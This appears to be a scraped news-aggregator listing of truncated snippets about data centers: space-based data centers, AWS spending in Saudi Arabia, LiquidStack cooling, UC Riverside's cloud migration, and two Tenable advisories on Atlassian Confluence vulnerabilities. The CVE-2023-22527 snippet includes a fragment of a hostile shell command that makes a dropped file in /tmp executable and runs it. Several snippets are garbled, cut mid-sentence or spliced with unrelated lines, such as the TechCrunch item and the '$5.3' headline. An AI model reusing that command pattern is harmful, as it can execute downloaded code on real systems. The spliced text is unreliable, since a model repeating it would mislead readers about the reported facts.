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Data centers in space

CIO

Imagine a world in which data centers were deployed in space. Using a satellite networking system, data would be collected from Earth, then sent to space for processing and storage. The system would use photonics and optical technology, dramatically cutting down on power consumption and boosting data transmission speeds.

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Transform the modern data center: From today to the future

CIO

A seismic shift is underway in the evolution of the data center, driven by a variety of converging factors. EMA Research underscores the significant impact of manual errors, such as misconfigurations, which account for 27% of network problems. Learn more about high-performance and sustainable data center solutions from Cisco.

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AWS to invest $5.3 to build data centers in Saudi Arabia to bolster tech in the region

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billion in the Middle East kingdom to build data centers and a significant cloud presence in the region. Middle East gets cloudy All of this investment is buoying cloud strategies across not just Saudi Arabia but the entire region, noted Phil Dawson, vice president of research for cloud infrastructure at Gartner. “If

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Spinning out from the cryptocurrency hardware developer Bitfury, LiquidStack pitches a data center cooling tech

TechCrunch

Data centers and bitcoin mining operations are becoming huge energy hogs , and the explosive growth of both risks undoing a lot of the progress that’s been made to reduce global greenhouse gas emissions. and research and development in Hong Kong, according to a statement. billion last year.

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UC Riverside turns to cloud to supercharge scientific research

CIO

For research institutions, a solid IT foundation can prove to be the difference in delivering meaningful results for scientific endeavors — and thereby in securing valuable funding for further research. Empowering research in the cloud But the university’s evolving research hub is the crown jewel of the cloud migration. “We

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CVE-2023-22527: Atlassian Confluence Data Center and Server Template Injection Exploited in the Wild

Tenable

Analysis CVE-2023-22527 is a template injection vulnerability in Atlassian Confluence Data Center and Server. An unauthenticated attacker could exploit this vulnerability by sending a specially crafted request to a vulnerable Confluence Data Center or Server instance. x;chmod x /tmp/.x;sh x;sh /tmp/.x through 8.5.3

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CVE-2023-22518: Critical Atlassian Confluence Data Center and Server Improper Authorization Vulnerability

Tenable

Atlassian warns of public vulnerability details for a critical flaw in Confluence Data Center and Server, as its CISO urges organizations to apply patches immediately Background On October 31, Atlassian published an advisory for a critical vulnerability in Confluence Data Center and Server, a popular web-based wiki.